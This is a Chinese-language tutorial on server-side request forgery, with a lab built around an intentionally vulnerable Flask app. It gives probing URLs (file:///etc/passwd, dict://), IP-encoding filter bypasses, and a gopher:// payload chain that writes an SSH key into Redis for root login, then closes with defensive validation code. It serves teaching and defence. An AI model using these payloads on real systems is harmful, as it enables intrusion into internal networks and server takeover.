SSRF漏洞原理与实战:从内网探测到Gopher协议攻击Redis 📅 2026/8/24 4:06:03 1. 先搞清楚SSRF到底是什么以及它为什么能“刺穿内网”SSRF全称Server-Side Request Forgery翻译过来是“服务器端请求伪造”。这个名字听起来有点绕但它的核心逻辑其实很直接攻击者能够欺骗服务器让它代替攻击者去发起一个网络请求。这就像是你让一个信使服务器去送信但信使只听你的指令不看信的内容。攻击者通过构造一个特殊的“指令”比如一个URL让信使把信送到了他本不该去的地方比如公司的内部档案室内网。所以SSRF攻击的关键在于“服务器能发起请求”这个特性被滥用了。它最危险的地方也是标题里提到的“刺穿内网”正是因为很多服务器本身部署在内网或者至少能访问到内网的一些资源比如数据库、管理后台、文件服务器。从外网直接访问这些内网地址是不可能的但通过欺骗一个能“里应外合”的服务器攻击者就能实现间接访问。对于刚入门安全的朋友来说理解SSRF的价值在于它是信息收集和扩大攻击面的利器可以用来探测内网有哪些主机、哪些端口开放、运行了什么服务。它是权限提升和横向移动的跳板如果内网服务存在漏洞比如Redis未授权访问、Jenkins弱口令SSRF就能成为攻击者打入内网的第一个入口。理解它有助于防御很多开发者在写代码调用外部URL时根本没想到这会成为一个漏洞点。学习攻击原理才能更好地在开发中规避。2. 从零开始理解SSRF的攻击场景与利用方式SSRF不会凭空发生它通常出现在那些需要服务器去获取外部资源的Web功能里。下面这些是最高发的场景也是你测试时首先要检查的地方2.1 最常见的触发点在线翻译/网页抓取/预览功能用户提交一个URL服务器去抓取这个URL的内容并返回。如果不对URL做严格限制攻击者就可以让它去访问http://127.0.0.1:8080/admin本地管理后台或http://192.168.1.1:3306内网数据库。图片/文件上传的远程下载有些应用允许通过URL上传图片服务器会从该URL下载文件。攻击者可以构造URL指向内网服务服务器可能会把内网服务的响应甚至可能是错误信息下载下来从而泄露信息。社交媒体/文章的内容抓取分享一个链接时网站会自动抓取标题和缩略图。这个抓取过程就可能被利用。Webhook或回调地址测试一些系统允许设置回调URL并提供“测试”功能。这个测试请求就可能被利用来发起SSRF。2.2 攻击者常用的“目标地址”服务器被欺骗后会向哪里发请求攻击者会尝试各种地址来探测和利用探测内网存活主机和端口目标http://192.168.1.1:80,http://192.168.1.2:8080,http://10.0.0.1:6379(Redis)等。方法通过返回的响应时间、状态码、错误信息来判断目标是否存在。例如请求一个不存在的IP连接会很快超时或拒绝请求一个存在的IP但端口关闭可能会收到Connection refused端口开放但服务不响应可能会超时。访问本地/回环地址目标http://127.0.0.1,http://localhost,http://0.0.0.0以及它们的各种变体如127.0.0.1.nip.io解析到127.0.0.1。目的攻击服务器自身可能访问到其上的管理界面如127.0.0.1:8080/manage、API接口或敏感文件。利用协议封装这是SSRF的高级技巧。除了常见的http://和https://服务器支持的库可能允许其他协议如file://读取服务器本地文件如file:///etc/passwd。dict://探测端口如dict://127.0.0.1:6379/info可能泄露Redis信息。gopher://一个非常强大的协议可以构造任意格式的TCP数据包常用于攻击内网的Redis、MySQL等服务。ftp://可能用于与FTP服务器交互。绕过过滤如果应用对127.0.0.1、localhost做了黑名单过滤攻击者会尝试十进制IPhttp://2130706433(127.0.0.1的十进制表示)八进制IPhttp://0177.0.0.1十六进制IPhttp://0x7f.0.0.1域名重定向使用一个自己控制的域名将其A记录指向127.0.0.1。利用URL解析差异http://127.0.0.1evil.com某些解析库可能会将前的内容视为认证信息实际请求evil.com但有些老旧库可能会错误处理。2.3 如何判断一个功能点是否存在SSRF在你进行安全测试或代码审计时可以遵循这个流程寻找输入点找所有用户可控的、最终会被服务器用于发起网络请求的参数。常见参数名url,link,path,src,api,callback等。尝试基础探测输入一个你可以控制的公网服务器地址例如用ngrok、cpolar等工具临时搭建一个接收请求的服务观察你的服务器是否能收到来自目标应用的请求。如果能说明存在服务器端出网请求。尝试访问内部地址将URL改为http://127.0.0.1:80观察响应。如果响应时间明显变长、返回错误信息如Connection refused、或者直接返回了本地服务的页面内容则存在SSRF漏洞。尝试协议利用如果应用功能涉及文件处理尝试file:///etc/passwd。如果涉及更多网络库尝试dict://或gopher://需环境支持。3. 实战演练搭建环境与基础漏洞利用光说不练假把式。要真正理解SSRF最好的方法是在一个受控的环境里动手。我强烈建议你在本地虚拟机或隔离的网络环境中搭建靶场进行练习。3.1 环境准备与靶场搭建目标创建一个存在SSRF漏洞的简单Web应用并模拟一个内网服务。所需环境一台Linux虚拟机如Ubuntu作为攻击机和靶机环境。安装Python3和pip。安装Docker可选用于快速搭建内网服务。步骤创建漏洞应用编写一个简单的Python Flask应用。# ssrf_vuln_app.py from flask import Flask, request import requests app Flask(__name__) app.route(/fetch) def fetch_url(): url request.args.get(url) # 用户可控的URL参数 if not url: return Please provide a URL parameter. try: # 漏洞点没有对url进行任何过滤和限制直接请求 resp requests.get(url, timeout5) return resp.text except Exception as e: return fError: {str(e)} if __name__ __main__: app.run(host0.0.0.0, port5000)运行它python3 ssrf_vuln_app.py。这个应用运行在http://你的IP:5000提供了一个/fetch?url接口存在典型的SSRF漏洞。模拟内网服务在同一个虚拟机模拟内网环境上启动几个简单的服务。一个Redis服务端口6379docker run -d -p 6379:6379 --name test-redis redis。Redis默认无密码是内网攻击的经典目标。一个简单的HTTP服务端口8080python3 -m http.server 8080。在某个目录下运行这个目录里的文件就能通过内网访问。本地Web应用端口3000可以再跑一个简单的Node.js或Flask应用模拟管理后台。3.2 基础利用信息收集现在你的漏洞应用端口5000和内网服务端口6379 8080都在同一台机器上即127.0.0.1。探测本地端口访问http://你的IP:5000/fetch?urlhttp://127.0.0.1:6379可能结果返回一个Redis错误信息如-ERR wrong number of arguments for get command。这明确告诉你6379端口开放且运行着Redis服务。如果端口关闭通常会返回Connection refused相关的错误。访问http://你的IP:5000/fetch?urlhttp://127.0.0.1:8080/可能结果返回你http.server目录的列表页。这证明了可以通过SSRF访问内网的Web服务。读取本地文件尝试http://你的IP:5000/fetch?urlfile:///etc/passwd注意这取决于requests库和系统配置。现代requests库默认不支持file://协议可能会报Invalid URL。但如果后端使用了其他网络库如urllib2就可能成功。这是你需要测试的点。使用dict协议探测尝试http://你的IP:5000/fetch?urldict://127.0.0.1:6379/info说明dict协议会向指定端口发送一个命令。如果Redis可用且dict协议被支持可能会返回Redis的服务器信息。这比HTTP探测更精准。3.3 关键点理解响应差异与盲SSRF在上面的例子中漏洞应用将请求的结果回显给了我们。这称为有回显的SSRF是最理想的情况。但现实中更多的情况是盲SSRF应用发起了请求但不会将响应内容返回给用户。你只能通过“副作用”来判断请求是否成功。基于时间的盲注请求一个内网不存在的IP服务器会快速返回连接失败请求一个开放端口但服务无响应可能会等待直到超时。通过响应时间的显著差异可以判断端口状态。基于错误的盲注请求一个非法URL导致服务器抛出异常可能会在页面的错误信息中透露出一些线索如“连接到192.168.1.1:3306失败”。DNS外带这是探测盲SSRF最有效的方法。让服务器去请求一个类似http://your-unique-subdomain.ceye.io的地址。如果漏洞存在你的DNS解析平台如ceye.io就会收到一条DNS查询记录从而证实SSRF漏洞存在尽管你看不到响应内容。4. 进阶利用从信息探测到内网攻击当确认存在SSRF且能访问内网特定服务后攻击就进入了实质阶段。这里以攻击内网Redis为例演示如何通过SSRF实现更深入的利用。前提我们已经通过SSRF确认内网192.168.1.10:6379运行着无认证的Redis。4.1 利用Gopher协议攻击RedisHTTP协议无法直接向Redis发送原生命令但gopher协议可以构造任意的TCP数据流。这是SSRF攻击Redis的经典方法。构造攻击Payload目标是让Redis写入一个计划任务crontab或SSH公钥从而获取服务器权限。这里以写入SSH公钥为例。首先在攻击机上生成一对SSH密钥ssh-keygen -t rsa将公钥id_rsa.pub内容保存并格式化。需要在内容前后添加换行符。构造Redis命令序列flushall set crackit \\n\\n你的公钥内容\\n\\n config set dir /root/.ssh/ config set dbfilename authorized_keys save将这些命令转换成符合Redis协议格式的字符串然后URL编码最后拼接到gopher://URL中。这个过程有现成工具可以完成如Gopherus。发起SSRF攻击假设漏洞点在/fetch?url且服务器支持gopher协议。最终请求的URL会非常长形如http://vuln-app.com/fetch?urlgopher://192.168.1.10:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A...很长的一段编码当漏洞服务器解析这个URL并向Redis发起gopher请求时Redis就会执行这些命令将公钥写入/root/.ssh/authorized_keys。获取Shell攻击者随后使用对应的私钥即可直接SSH登录到内网的Redis服务器ssh -i id_rsa root192.168.1.10。重要提醒此示例仅用于教学理解攻击链的完整性。在实际授权测试中写入/root/.ssh/通常需要Redis以root权限运行且目录可写。实战中可能会选择写入Web目录、写入计划任务等更多变的方式。4.2 攻击其他内网服务思路是相通的攻击MySQL利用gopher协议发送MySQL登录报文和SQL语句可能执行SELECT ... INTO OUTFILE写入Webshell。攻击Memcached通过gopher发送命令可能用于UDP反射放大攻击或数据篡改。访问内部管理界面如果探测到192.168.1.1:8080是Jenkins且未设置认证直接通过SSRF访问http://192.168.1.1:8080/manage可能就能进入管理后台。与内网Web应用交互如果内网Web应用存在CSRF漏洞SSRF可以充当一个“盲打”CSRF的代理因为请求是从内网服务器发起的可能绕过一些基于IP的CSRF防护。5. 防御之道开发与运维中的SSRF防护清单理解了攻击防御就有了方向。防御SSRF的核心原则是对服务器所有出站请求的目标进行严格的白名单控制。5.1 网络层防御隔离网络将可以发起外部请求的应用服务器部署在独立的DMZ区域严格限制其访问内网的权限。使用防火墙策略只允许应用服务器访问必要的、已知的外部服务如第三方API禁止访问整个内网段如10.0.0.0/8,172.16.0.0/12,192.168.0.0/16和回环地址。使用出口防火墙在服务器上配置iptables或类似工具限制本机进程只能向特定的外部IP和端口发起连接。5.2 应用层防御代码层面这是最根本的防御。统一出口与白名单不要在每个业务函数里直接使用requests.get(url)。建立一个统一的网络请求服务。在该服务中维护一个允许访问的域名或IP白名单。所有请求必须先检查目标主机是否在白名单内。白名单应尽可能具体例如只允许api.weixin.qq.com而不是*.qq.com。解析与校验URL使用权威的URL解析库如Python的urllib.parse获取hostname。对hostname进行解析获取其真实的IP地址列表注意DNS重绑定攻击。校验解析出的IP地址禁止访问回环地址127.0.0.0/8,::1等。禁止访问内网私有IP段10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,169.254.0.0/16等。禁止访问链路本地地址169.254.0.0/16。禁止访问0.0.0.0和本机其他IP。示例代码片段Pythonfrom urllib.parse import urlparse import socket import ipaddress def is_internal_ip(ip_str): try: ip ipaddress.ip_address(ip_str) return ip.is_loopback or ip.is_private or ip.is_link_local except ValueError: # 如果不是合法IP可能是域名交给后续DNS解析判断 return False def safe_fetch_url(user_input_url, allowed_domains): parsed urlparse(user_input_url) hostname parsed.hostname # 1. 检查域名是否在白名单 if allowed_domains and hostname not in allowed_domains: raise ValueError(fDomain {hostname} not in allowed list.) # 2. 解析域名获取IP try: ips socket.gethostbyname_ex(hostname)[2] except socket.gaierror: raise ValueError(fCannot resolve hostname: {hostname}) # 3. 检查所有解析出的IP for ip in ips: if is_internal_ip(ip): raise ValueError(fResolved IP {ip} is internal. Rejected.) # 4. 发起请求这里可以继续限制协议只允许HTTP/HTTPS if parsed.scheme not in (http, https): raise ValueError(fScheme {parsed.scheme} not allowed.) # ... 使用requests发起请求禁用危险协议在发起请求的客户端库配置中显式禁用file://、gopher://、dict://、ftp://等非HTTP/HTTPS协议。例如在Python的requests库中它本身不支持这些协议但如果你使用更底层的库如urllib就需要小心。认证与权限确保内网服务本身需要强认证即使被SSRF请求到也无法直接未授权访问。不要依赖“内网就是安全的”这种假设。5.3 针对“内网穿透”与“回调地址”场景的特别提醒从搜索热词可以看到ngrok、cpolar、frp等内网穿透工具非常流行。这在开发测试中很方便但也带来了额外的SSRF风险风险攻击者可能利用SSRF让服务器去访问一个由内网穿透工具暴露出来的、攻击者控制的临时公网地址。这个地址可能指向攻击者内网的恶意服务从而将攻击链延伸。防护除了上述IP黑名单更要强化白名单机制。对于Webhook、回调等场景如果URL是用户提供的应尽可能在业务逻辑上避免使用如果必须使用应在用户提供时进行强验证如要求域名备案、HTTPS等并在服务器端做严格的接收端验证如签名、Token确保回调来自可信源。5.4 漏洞扫描与监控SAST/DAST工具在代码开发和测试阶段使用静态和动态应用安全测试工具来发现潜在的SSRF漏洞点。日志监控在服务器和网络设备上监控异常的出站连接请求特别是向内部IP地址或陌生域名的请求。定期渗透测试授权安全人员对系统进行测试尝试利用SSRF等漏洞。SSRF是一个需要开发、运维、安全共同关注的漏洞。对于开发者要在代码层面养成校验外部输入的习惯对于运维要做好网络隔离和出口管控对于安全人员则要将SSRF作为常规测试项。理解它的原理和利用方式是构建有效防御的第一步。在实战中遇到SSRF漏洞点不要只满足于读取一个/etc/passwd要思考整个内网攻击链可能如何展开这样才能真正提升安全水位。